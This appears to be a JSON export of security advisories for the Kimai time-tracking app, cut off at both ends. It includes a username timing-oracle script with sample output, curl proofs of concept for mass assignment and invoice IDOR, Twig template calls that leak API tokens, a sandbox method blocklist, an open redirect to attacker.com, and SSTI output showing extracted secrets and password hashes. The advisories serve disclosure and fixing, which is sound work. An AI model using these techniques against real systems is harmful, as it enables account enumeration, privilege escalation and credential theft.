{delta:\u003e+6.1f}ms  {verdict}\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\nUsage:\n\n```\n$ ./timing_oracle.py -u https://target -l users.txt -n 15\n[*] calibrating baseline with 15 samples\n[*] baseline median: 37.7 ms\n[*] probing 13 candidates (n=15, threshold=15.0 ms)\n\nusername                        median     delta  verdict\n----------------------------------------------------------\nuser1@example.com               64.2ms   +26.5ms  REAL\nuser2@example.com               72.4ms   +34.7ms  REAL\nuser3@example.com               70.0ms   +32.3ms  REAL\ntester.nonexistent@example.com  37.2ms    -0.5ms  -\nadmin                           63.6ms   +25.9ms  REAL\nadministrator                   38.2ms    +0.4ms  -\nroot                            37.3ms    -0.4ms  -\ntest                            33.6ms    -4.1ms  -\ndemo                            38.2ms    +0.5ms  -\nkimai                           37.0ms    -0.7ms  -\nnonexistent_user_aaa            38.1ms    +0.4ms  -\nnonexistent_user_bbb            37.5ms    -0.2ms  -\nnonexistent_user_ccc            38.4ms    +0.7ms  -\n```\n\nIn this run, four real accounts were identified out of thirteen candidates with no false positives or false negatives. Probing took roughly five seconds per username at fifteen samples each.\n\n## Fix\n\nIn `TokenAuthenticator::authenticate()`, run the password hasher against a fixed dummy hash when the user is not found, so the response time does not depend on user existence:\n\n```php\nprivate const DUMMY_HASH = '$argon2id$v=19$m=65536,t=4,p=1$ZHVtbXlzYWx0ZHVtbXk$YQ4N4lU0Sg9hRT2KhRGwLp7y4VZqkM5KQ8wYJ5HtoX0';\n\ntry {\n    $user = $this-\u003euserProvider-\u003eloadUserByIdentifier($credentials['username']);\n} catch (UserNotFoundException $e) {\n    $this-\u003epasswordHasherFactory\n        -\u003egetPasswordHasher(User::class)\n        -\u003everify(self::DUMMY_HASH, $credentials['password']);\n    throw $e;\n}\n```\n\nThe dummy hash must use the same algorithm and parameters as real user hashes so that `verify()` consumes equivalent CPU. Generate it once with `password_hash('dummy', PASSWORD_ARGON2ID)` and pin it as a constant.\n\n## Relevance\n\nThe practical security impact is very limited. The response body and HTTP status are identical, and the only observable difference is a relatively small timing gap, which is even less relevant when the requests is executed against a network instead of a local installation. In addition, [this authentication method has already been deprecated since April 2024 and is scheduled for removal after Q2 2026](https://www.kimai.org/en/blog/2026/removing-api-passwords), so the issue only affects a legacy mechanism that is already being phased out. ￼","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-04-17T22:30:59.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":3.7,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N","references":["https://github.com/kimai/kimai/security/advisories/GHSA-jrc6-fmhw-fpq2","https://github.com/advisories/GHSA-jrc6-fmhw-fpq2"],"source_kind":"github","identifiers":["GHSA-jrc6-fmhw-fpq2"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-17T23:00:08.611Z","updated_at":"2026-08-14T00:03:54.065Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qcmM2LWZtaHctZnBxMs4ABVcf","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qcmM2LWZtaHctZnBxMs4ABVcf","packages":[{"ecosystem":"packagist","package_name":"kimai/kimai","versions":[{"first_patched_version":"2.54.0","vulnerable_version_range":"\u003c= 2.53.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qcmM2LWZtaHctZnBxMs4ABVcf/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xaDQzLXhyam0tNGdncM4ABVVo","url":"https://github.com/advisories/GHSA-qh43-xrjm-4ggp","title":"Kimai's User Preferences API allows standard users to modify restricted attributes: hourly_rate, internal_rate","description":"### Summary\nA Mass Assignment / Broken Object Property Level Authorization (BOPA) vulnerability in the User Preferences API allows any authenticated user (even those with the lowest privileges) to arbitrarily modify restricted financial attributes on their profile, specifically their `hourly_rate` and `internal_rate`.\n\n### Details\nKimai restrictively protects the `hourly_rate` and `internal_rate` parameters during standard GUI flow. Users lacking the `hourly-rate` role permissions cannot see or edit these fields via the standard Web Form (`UserApiEditForm` / `UserEditType`). \n\nThe vulnerability exists in the dedicated preferences API endpoint: `src/API/UserController.php::updateUserPreference`.\n\nWhen a `PATCH` request is sent to `/api/users/{id}/preferences`, the endpoint iterates through the submitted JSON array and blindly applies the new values:\n```php\nforeach ($request-\u003erequest-\u003eall() as $preference) {\n    // ... validation omitted ...\n    if (null === ($meta = $profile-\u003egetPreference($name))) {\n        throw $this-\u003ecreateNotFoundException(\\sprintf('Unknown custom-field \"%s\" requested', $name));\n    }\n\n    $meta-\u003esetValue($value); // \u003c-- VULNERABILITY\n}\n```\n\nThe underlying Role-Based Access Control logic (`UserPreferenceSubscriber::getDefaultPreferences`) accurately identifies that standard users lack the `hourly-rate` role, and flags the dynamically generated preference object as disabled (`$preference-\u003esetEnabled(false)`). \n\nHowever, the `updateUserPreference` API endpoint entirely ignores this `isEnabled()` flag and forcefully saves the mutated object to the database natively via Doctrine ORM. This allows unauthorized accounts to manipulate the business-logic variables calculating their own financial earnings.\n\n### PoC\n1. Log into Kimai as an unprivileged, standard employee account (a user with absolutely no `roles` array privileges). \n2. Capture the `cookie` or Session cookies. (In this example, the user's ID is `2`).\n3. Send the following cURL request (or intercept via Burp Suite) targeting your own user ID:\n\n```bash\ncurl -i -X PATCH \"http://localhost:8001/api/users/2/preferences\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"cookie: \u003cYOUR_STANDARD_USER_TOKEN\u003e\" \\\n  -d '[\n  {\n    \"name\": \"hourly_rate\",\n    \"value\": \"1337\"\n  },\n  {\n    \"name\": \"internal_rate\",\n    \"value\": \"1337\"\n  }\n]'\n```\n\n4. The server responds with `HTTP/1.1 200 OK`. (Note: The `hourly_rate` will intentionally NOT appear in the JSON echo due to `User::getVisiblePreferences` sanitizing output based on the same disabled flag).\n5. If an Administrator organically views User 2's profile within Kimai, or if the user logs any new timesheets, the active and billed `hourly_rate` applied to their account will be confirmed as `1337`.\n\u003cimg width=\"1542\" height=\"1039\" alt=\"user_account\" src=\"https://github.com/user-attachments/assets/fff5e2da-d598-408d-8a01-784499ade844\" /\u003e\n\u003cimg width=\"1539\" height=\"1037\" alt=\"admin_account\" src=\"https://github.com/user-attachments/assets/86a6e8c3-a97f-4be3-9f9f-2e23fad1d8a0\" /\u003e\n\n### Impact\nThis is a Privilege Escalation and Business Logic Flaw impacting the core financial calculations of the application. An attacker with a standard user account can manipulate their own billing rate multipliers unbeknownst to administrators, resulting in fraudulent invoices, distorted timesheet exports, and unauthorized financial tampering.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-15T19:46:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","references":["https://github.com/kimai/kimai/security/advisories/GHSA-qh43-xrjm-4ggp","https://nvd.nist.gov/vuln/detail/CVE-2026-40486","https://github.com/kimai/kimai/releases/tag/2.53.0","https://github.com/advisories/GHSA-qh43-xrjm-4ggp"],"source_kind":"github","identifiers":["GHSA-qh43-xrjm-4ggp","CVE-2026-40486"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-15T20:00:09.550Z","updated_at":"2026-08-28T13:02:50.280Z","epss_percentage":0.00267,"epss_percentile":0.18343,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xaDQzLXhyam0tNGdncM4ABVVo","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xaDQzLXhyam0tNGdncM4ABVVo","packages":[{"ecosystem":"packagist","package_name":"kimai/kimai","versions":[{"first_patched_version":"2.53.0","vulnerable_version_range":"\u003c= 2.52.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xaDQzLXhyam0tNGdncM4ABVVo/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nODJnLW05dngtdmhqZ84ABVVn","url":"https://github.com/advisories/GHSA-g82g-m9vx-vhjg","title":"Kimai has Stored XSS via Incomplete HTML Attribute Escaping in Team Member Widget","description":"### Summary\nThe client-side `escapeForHtml()` function in `KimaiEscape.js`, introduced in commit `89bfa82c` (#2959) to fix a JavaScript XSS vulnerability, only escapes `\u003c`, `\u003e`, and `\u0026` but does not escape `\"` (double quote) or `'` (single quote). When user-controlled data (profile alias) is placed in an HTML attribute context (`title=\"__DISPLAY__\"`) via the team member form prototype and rendered through `innerHTML`, the missing quote escaping allows HTML attribute injection, resulting in Stored XSS.\n\n### Details\nIncomplete security patch. The `escapeForHtml()` function was meant to prevent XSS but missed quote characters, which are critical for HTML attribute context escaping.\n\n**Vulnerable code** — `assets/js/plugins/KimaiEscape.js:29-33`:\n```javascript\nconst tagsToReplace = {\n    '\u0026': '\u0026amp;',\n    '\u003c': '\u0026lt;',\n    '\u003e': '\u0026gt;',\n    // MISSING: '\"': '\u0026quot;'\n    // MISSING: \"'\": '\u0026#039;'\n};\n```\n\n**Affected code files**:\n- `assets/js/plugins/KimaiEscape.js:24-38` — incomplete escape function\n- `assets/js/forms/KimaiTeamForm.js:77,86` — replacement + innerHTML\n- `templates/macros/widgets.html.twig:126` — `title=\"{{ tooltip }}\"` in avatar macro\n- `templates/form/blocks.html.twig:104` — `{{ widgets.avatar('__INITIALS__', '__COLOR__', '__DISPLAY__') }}`\n\n### PoC\n[poc.zip](https://github.com/user-attachments/files/26537515/poc.zip)\n\nPlease extract the uploaded compressed file before proceeding\n\n1. ./setup.sh\n2. ./poc_xss.sh\n\n\u003cimg width=\"751\" height=\"155\" alt=\"스크린샷 2026-04-07 오후 9 06 27\" src=\"https://github.com/user-attachments/assets/c09a23fb-f60b-49dd-9018-8c723e35b4c4\" /\u003e\n\n### Impact\n- Stored XSS: payload persists in the database (user alias field)\n- Privilege escalation: ROLE_USER injects XSS that executes in ROLE_ADMIN/ROLE_SUPER_ADMIN browser session","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-15T19:46:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","references":["https://github.com/kimai/kimai/security/advisories/GHSA-g82g-m9vx-vhjg","https://github.com/kimai/kimai/pull/2959","https://github.com/kimai/kimai/releases/tag/2.53.0","https://nvd.nist.gov/vuln/detail/CVE-2026-40479","https://github.com/advisories/GHSA-g82g-m9vx-vhjg"],"source_kind":"github","identifiers":["GHSA-g82g-m9vx-vhjg","CVE-2026-40479"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-15T20:00:09.550Z","updated_at":"2026-08-14T00:04:03.440Z","epss_percentage":0.00207,"epss_percentile":0.1078,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nODJnLW05dngtdmhqZ84ABVVn","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nODJnLW05dngtdmhqZ84ABVVn","packages":[{"ecosystem":"packagist","package_name":"kimai/kimai","versions":[{"first_patched_version":"2.53.0","vulnerable_version_range":"\u003c 2.53.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nODJnLW05dngtdmhqZ84ABVVn/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yaDQyLTZyajIteHdtY84ABVM0","url":"https://github.com/advisories/GHSA-rh42-6rj2-xwmc","title":"Kimai leaks API Token Hash via Invoice Twig Template","description":"## Summary\n\nThe Twig sandbox used for invoice templates blocks certain sensitive `User` methods (password, TOTP secret, etc.) via a blocklist in `StrictPolicy::checkMethodAllowed()`. However, `getApiToken()` and `getPlainApiToken()` are not on the blocklist. An admin who creates an invoice template can embed calls to these methods, causing the bcrypt or sodium hashed API password of any user who generates an invoice using that template to be included in the rendered output.\n\nOnly relevant for OnPremise installations with template upload activated.\n\n## Background\n\nKimai allows admins (`ROLE_ADMIN` and above) with the `manage_invoice_template` permission to create Twig-based invoice templates. These templates are rendered in a sandboxed Twig environment with `StrictPolicy` controlling which methods and properties are accessible.\n\n`StrictPolicy` explicitly blocks:\n\n```php\n// src/Twig/SecurityPolicy/StrictPolicy.php:156\nif (\\in_array($lcm, [\n    'getpassword',\n    'gettotpsecret',\n    'getplainpassword',\n    'getconfirmationtoken',\n    'gettotpauthenticationconfiguration'\n], true)) {\n    throw new SecurityNotAllowedMethodError(...);\n}\n```\n\n`getApiToken()` and `getPlainApiToken()` are **not** in this list and are freely callable.\n\n## Vulnerable Code\n\n`StrictPolicy.php` — missing entries in the User method blocklist:\n\n```php\n// Current\n['getpassword', 'gettotpsecret', 'getplainpassword', 'getconfirmationtoken', 'gettotpauthenticationconfiguration']\n\n// Should also include:\n'getapitoken', 'getplainapitoken'\n```\n\nThe invoice model passes a `User` object through `model.user`, accessible in any twig invoice template.\n\n## Steps to Reproduce\n\n1. Log in as an admin with the `manage_invoice_template` permission.\n2. Create a new Twig invoice template (HTML or PDF) containing:\n\n```twig\nAPI Token: {{ model.user.getApiToken() }}\nPlain Token: {{ model.user.getPlainApiToken() }}\n```\n\n3. Save the template and set it as the default for a customer.\n4. Log in as a regular user assigned to that customer and generate an invoice.\n5. Observe that the rendered invoice contains the user's API token in plaintext.\n\n## Impact\n\nAn admin can silently embed token-exfiltration code in a shared invoice template. Every user who subsequently generates an invoice using that template will have their hashed API token leaked into the invoice output. \n\n- API passwords are [deprecated since April 2024](https://www.kimai.org/en/changelog/2024/cloud-update-104) and not in wide use anymore (especially by new users)\n- The function `getPlainApiToken()` does NEVER return any data\n- The function `getApiToken()` might return a bcrypt or sodium hashed API password, if the user (who created the invoice) has configured one - this cannot be used, but needs to be cracked using rainbow tables\n- The cloud does not allow Twig template upload, this is only relevant for OnPremise installations with template upload activated\n\n## Fix\n\nThe SecurityPolicy was changed to exclude methods that contains certain trigger words instead of using the hard-coded list, see https://github.com/kimai/kimai/pull/5878 \n\nThis disables access to both the `getApiToken()` and `getPlainApiToken()` function.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-04-14T01:06:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:N/A:N","references":["https://github.com/kimai/kimai/security/advisories/GHSA-rh42-6rj2-xwmc","https://github.com/kimai/kimai/pull/5878","https://github.com/advisories/GHSA-rh42-6rj2-xwmc"],"source_kind":"github","identifiers":["GHSA-rh42-6rj2-xwmc"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-14T02:00:10.360Z","updated_at":"2026-08-14T00:04:12.229Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yaDQyLTZyajIteHdtY84ABVM0","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yaDQyLTZyajIteHdtY84ABVM0","packages":[{"ecosystem":"packagist","package_name":"kimai/kimai","versions":[{"first_patched_version":"2.53.0","vulnerable_version_range":"\u003c= 2.52.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yaDQyLTZyajIteHdtY84ABVM0/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zanA0LW1oaDQtZ2Nncs4ABVMz","url":"https://github.com/advisories/GHSA-3jp4-mhh4-gcgr","title":"Kimai has an Open Redirect via Unvalidated RelayState in SAML ACS Handler","description":"### Summary\n\nThe SAML authentication success handler in Kimai returns the `RelayState` POST parameter as a redirect destination without validating the host or scheme. After a user successfully authenticates via SAML, they are redirected to an attacker-controlled URL if the IdP includes a malicious `RelayState` value. This enables phishing attacks that steal credentials or session tokens post-SSO.\n\n*Requires SAML to be enabled (non-default configuration).*\n\n### Details\n\nVulnerable file: `src/Saml/Security/SamlAuthenticationSuccessHandler.php`\n\n```php\n// Line 27-33\n$relayState = $request-\u003erequest-\u003eget('RelayState', $request-\u003equery-\u003eget('RelayState'));\nif (\\is_scalar($relayState)) {\n    $relayState = (string) $relayState;\n    if ($relayState !== $this-\u003ehttpUtils-\u003egenerateUri($request, (string) $this-\u003eoptions['login_path'])) {\n        return $relayState;  // No host/scheme validation — any URL accepted\n    }\n}\n```\n\nThe only check is that `RelayState` does not equal the configured `login_path`. Any external URL (e.g., `https://attacker.com`) passes this check and is returned as the redirect destination.\n\nThe existing unit test `SamlAuthenticationSuccessHandlerTest::testRelayState()` confirms this behavior — an absolute URL in `RelayState` results in a redirect to that URL with no restriction.\n\n### Steps to Reproduce\n\n```\n1. Enable SAML authentication in Kimai\n2. Configure a SAML IdP (e.g., SimpleSAMLphp)\n3. Initiate IdP-initiated SSO with RelayState=https://attacker.com\n   — or intercept the ACS POST and modify RelayState to https://attacker.com\n4. Complete SAML authentication at the IdP\n5. Observe: after the SAMLResponse POST to /saml/acs, Kimai issues:\n   HTTP/1.1 302 Found\n   Location: https://attacker.com\n```\n\nCode-confirmed via unit test (`testRelayState`): `onAuthenticationSuccess` with `RelayState=http://localhost/relayed` redirects directly to that URL. External URLs follow the same code path.\n\n### Impact\n\nWhile this bug exists it has low practical possibilities and the attacker needs to be able to create a SAML request, meaning either admin access to an IdP supporting such an action OR access to the private SAML keys / certificates.\n\nIn other words: only exploitable in IdP-initiated SSO flows where the IdP includes a `RelayState` value supplied by the attacker (e.g., via a malicious link to the IdP).\n\n### Fix\n\nThe `RelayState` is validated before redirecting, see #5878\n\n- It may not contain a host or port and cannot start with `//`. \n- If it contains a host, it must match the current host.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-04-14T01:06:06.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:N","references":["https://github.com/kimai/kimai/security/advisories/GHSA-3jp4-mhh4-gcgr","https://github.com/kimai/kimai/pull/5878","https://github.com/advisories/GHSA-3jp4-mhh4-gcgr"],"source_kind":"github","identifiers":["GHSA-3jp4-mhh4-gcgr"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-14T02:00:10.360Z","updated_at":"2026-08-14T00:04:12.229Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zanA0LW1oaDQtZ2Nncs4ABVMz","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zanA0LW1oaDQtZ2Nncs4ABVMz","packages":[{"ecosystem":"packagist","package_name":"kimai/kimai","versions":[{"first_patched_version":"2.53.0","vulnerable_version_range":"\u003c= 2.52.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zanA0LW1oaDQtZ2Nncs4ABVMz/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12MzNyLXI2aDItOHdyN84ABTIe","url":"https://github.com/advisories/GHSA-v33r-r6h2-8wr7","title":"Kimai's API invoice endpoint missing customer-level access control (IDOR)","description":"## Summary\n\n`GET /api/invoices/{id}` only checks the role-based `view_invoice` permission but does not verify the requesting user has `access` to the invoice's customer. Any user with `ROLE_TEAMLEAD` (which grants `view_invoice`) can read all invoices in the system, including those belonging to customers assigned to other teams.\n\n## Affected Code\n\n`src/API/InvoiceController.php` line 92-101:\n\n```php\n#[IsGranted('view_invoice')]           // Role check only, no customer access check\n#[Route(methods: ['GET'], path: '/{id}', name: 'get_invoice', requirements: ['id' =\u003e '\\d+'])]\npublic function getAction(Invoice $invoice): Response\n{\n    $view = new View($invoice, 200);\n    $view-\u003egetContext()-\u003esetGroups(self::GROUPS_ENTITY);\n    return $this-\u003eviewHandler-\u003ehandle($view);  // Returns ANY invoice by ID\n}\n```\n\nThe web controller (`src/Controller/InvoiceController.php` line 304-307) correctly checks customer access:\n\n```php\n#[IsGranted('view_invoice')]\n#[IsGranted(new Expression(\"is_granted('access', subject.getCustomer())\"), 'invoice')]\npublic function downloadAction(Invoice $invoice, ...): Response { ... }\n```\n\nThe `access` attribute in `CustomerVoter` (line 71-87) verifies team membership, but this check is entirely missing from the API endpoint.\n\n## PoC\n\nTested against Kimai v2.50.0 (Docker: `kimai/kimai2:apache`).\n\nSetup:\n- TeamA with CustomerA (\"SecretCorp\"), TeamB with CustomerB (\"BobCorp\")\n- Bob is a teamlead in TeamB only\n- An invoice exists for SecretCorp (TeamA)\n\n```bash\n# Bob (TeamB) reads SecretCorp (TeamA) invoice\ncurl -H \"Authorization: Bearer BOB_TOKEN\" http://localhost:8888/api/invoices/1\n```\n\nResponse (200 OK):\n```json\n{\n  \"invoiceNumber\": \"INV-2026-001\",\n  \"total\": 15000.0,\n  \"currency\": \"USD\",\n  \"customer\": {\"name\": \"SecretCorp\", ...}\n}\n```\n\nBob can also enumerate all invoices via `GET /api/invoices` — the list endpoint uses `setCurrentUser()` in the query but the single-item endpoint bypasses this entirely via Symfony ParamConverter.\n\n## Impact\n\nAny teamlead can read all invoices across the system regardless of team assignment. Invoice data typically contains sensitive financial information (amounts, customer details, payment terms). In multi-team deployments this breaks the intended data isolation between teams.\n\n## Suggested Fix\n\nAdd the customer access check to the API endpoint, matching the web controller:\n\n```diff\n #[IsGranted('view_invoice')]\n+#[IsGranted(new Expression(\"is_granted('access', subject.getCustomer())\"), 'invoice')]\n #[Route(methods: ['GET'], path: '/{id}', name: 'get_invoice')]\n public function getAction(Invoice $invoice): Response\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-03-04T20:43:17.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/kimai/kimai/security/advisories/GHSA-v33r-r6h2-8wr7","https://github.com/kimai/kimai/commit/a0601c8cb28fed1cca19051a8272425069ab758f","https://github.com/kimai/kimai/releases/tag/2.51.0","https://nvd.nist.gov/vuln/detail/CVE-2026-28685","https://github.com/advisories/GHSA-v33r-r6h2-8wr7"],"source_kind":"github","identifiers":["GHSA-v33r-r6h2-8wr7","CVE-2026-28685"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-04T21:00:09.632Z","updated_at":"2026-08-14T00:05:33.800Z","epss_percentage":0.00399,"epss_percentile":0.32536,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12MzNyLXI2aDItOHdyN84ABTIe","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12MzNyLXI2aDItOHdyN84ABTIe","packages":[{"ecosystem":"packagist","package_name":"kimai/kimai","versions":[{"first_patched_version":"2.51.0","vulnerable_version_range":"\u003c= 2.50.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12MzNyLXI2aDItOHdyN84ABTIe/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05Mjc4LTZoY2otMnA0as4ABSOw","url":"https://github.com/advisories/GHSA-9278-6hcj-2p4j","title":"Kimai 2 vulnerable to persistent cross-site scripting in the timesheet descriptions","description":"Kimai 2 contains a persistent cross-site scripting vulnerability that allows attackers to inject malicious scripts into timesheet descriptions. Attackers can insert SVG-based XSS payloads in the description field to execute arbitrary JavaScript when the page is loaded and viewed by other users.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-02-11T15:30:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2019-25317","https://github.com/kevinpapst/kimai2/pull/962","https://github.com/kevinpapst/kimai2","https://www.exploit-db.com/exploits/47286","https://www.vulncheck.com/advisories/kimai-persistent-cross-site-scripting-xss","https://github.com/kimai/kimai/commit/a0e8aa3a435717187fb12210242dab1b7c97ff3f","https://github.com/advisories/GHSA-9278-6hcj-2p4j"],"source_kind":"github","identifiers":["GHSA-9278-6hcj-2p4j","CVE-2019-25317"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-11T19:00:08.055Z","updated_at":"2026-08-28T13:04:07.819Z","epss_percentage":0.00261,"epss_percentile":0.17512,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05Mjc4LTZoY2otMnA0as4ABSOw","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05Mjc4LTZoY2otMnA0as4ABSOw","packages":[{"ecosystem":"packagist","package_name":"kimai/kimai","versions":[{"first_patched_version":"1.1","vulnerable_version_range":"\u003c 1.1"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05Mjc4LTZoY2otMnA0as4ABSOw/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qZzJqLTJ3MjQtNTRjZ84ABRSD","url":"https://github.com/advisories/GHSA-jg2j-2w24-54cg","title":"Kimai has an Authenticated Server-Side Template Injection (SSTI)","description":"# Kimai 2.45.0 - Authenticated Server-Side Template Injection (SSTI)\n\n## Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Title** | Authenticated SSTI via Permissive Export Template Sandbox || **Attack Vector** | Network |\n| **Attack Complexity** | Low |\n| **Privileges Required** | High (Admin with export permissions and server access) |\n| **User Interaction** | None |\n| **Impact** | Confidentiality: HIGH (Credential/Secret Extraction) |\n| **Affected Versions** | Kimai 2.45.0 (likely earlier versions) |\n| **Tested On** | Docker: kimai/kimai2:apache-2.45.0 |\n| **Discovery Date** | 2026-01-05 |\n\n---\n\n**Why Scope is \"Changed\":** The extracted `APP_SECRET` can be used to forge Symfony login links for ANY user account, expanding the attack beyond the initially compromised admin context.\n\n---\n\n## Vulnerability Description\n\nKimai's export functionality uses a Twig sandbox with an overly permissive security policy (`DefaultPolicy`) that allows arbitrary method calls on objects available in the template context. An authenticated user with export permissions can deploy a malicious Twig template that extracts sensitive information including:\n\n1. **Environment Variables** (APP_SECRET, DATABASE_URL)\n2. **All User Password Hashes** (bcrypt)\n3. **Serialized Session Tokens**\n4. **CSRF Tokens**\n\n---\n\n## Prerequisites\n\n1. **Authenticated Access**: Valid account with export permissions (typically ROLE_ADMIN, ROLE_SUPER_ADMIN, or ROLE_TEAMLEAD)\n2. **Template Deployment**: Ability to place a malicious `.pdf.twig` template in `/opt/kimai/var/export/` via:\n   - Filesystem access (server admin)\n\n---\n\n## Test Environment\n\n### Users in Test Instance\n\nThe test environment contains 2 users whose password hashes were successfully extracted:\n\nKimai Users Page - screenshot_users.png:\n\u003cimg width=\"1124\" height=\"1119\" alt=\"screenshot_users\" src=\"https://github.com/user-attachments/assets/89771b84-a95c-4c6d-9515-7e9a38ef3235\" /\u003e\n\n\n| User | Role | Hash Extracted |\n|------|------|----------------|\n| admin | ROLE_SUPER_ADMIN | ✅ Yes |\n| lowpriv | ROLE_USER | ✅ Yes |\n\n---\n\n## Confirmed Exploitation Evidence\n\n### Test Date: 2026-01-05\n\n### Extracted Data (Actual Output from Exploit)\n\n```\n===SSTI_EXTRACTION_START===\n\n1. ENVIRONMENT VARIABLES\nAPP_SECRET: change_this_to_something_unique\nDATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4\u0026serverVersion=8.0\nAPP_ENV: prod\n\n2. SESSION TOKEN (SERIALIZED)\nO:74:\"Symfony\\Component\\Security\\Core\\Authentication\\Token\\UsernamePasswordToken\":3:{\n  i:0;N;i:1;s:12:\"secured_area\";i:2;a:5:{\n    i:0;O:15:\"App\\Entity\\User\":5:{\n      s:2:\"id\";i:1;\n      s:8:\"username\";s:5:\"admin\";\n      s:7:\"enabled\";b:1;\n      s:5:\"email\";s:17:\"admin@example.com\";\n      s:8:\"password\";s:60:\"$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye\";\n    }\n    i:1;b:1;i:2;N;i:3;a:0:{}\n    i:4;a:2:{i:0;s:16:\"ROLE_SUPER_ADMIN\";i:1;s:9:\"ROLE_USER\";}\n  }\n}\n\n3. CURRENT USER DETAILS\nusername: admin\nemail: admin@example.com\npassword_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye\nroles: ROLE_SUPER_ADMIN, ROLE_USER\n\n4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)\nadmin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye\nlowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a\n\n5. CSRF TOKENS\n_csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4\n_csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58\n\n===SSTI_EXTRACTION_END===\n```\n\n---\n\n## Root Cause Analysis\n\n### Vulnerable Code: `src/Twig/SecurityPolicy/ExportPolicy.php`\n\nThe export functionality uses `ExportPolicy` which includes `DefaultPolicy`:\n\n```php\n$this-\u003epolicy-\u003eaddPolicy(new DefaultPolicy());\n```\n\n### The Problem: `src/Twig/SecurityPolicy/DefaultPolicy.php`\n\n```php\nfinal class DefaultPolicy implements 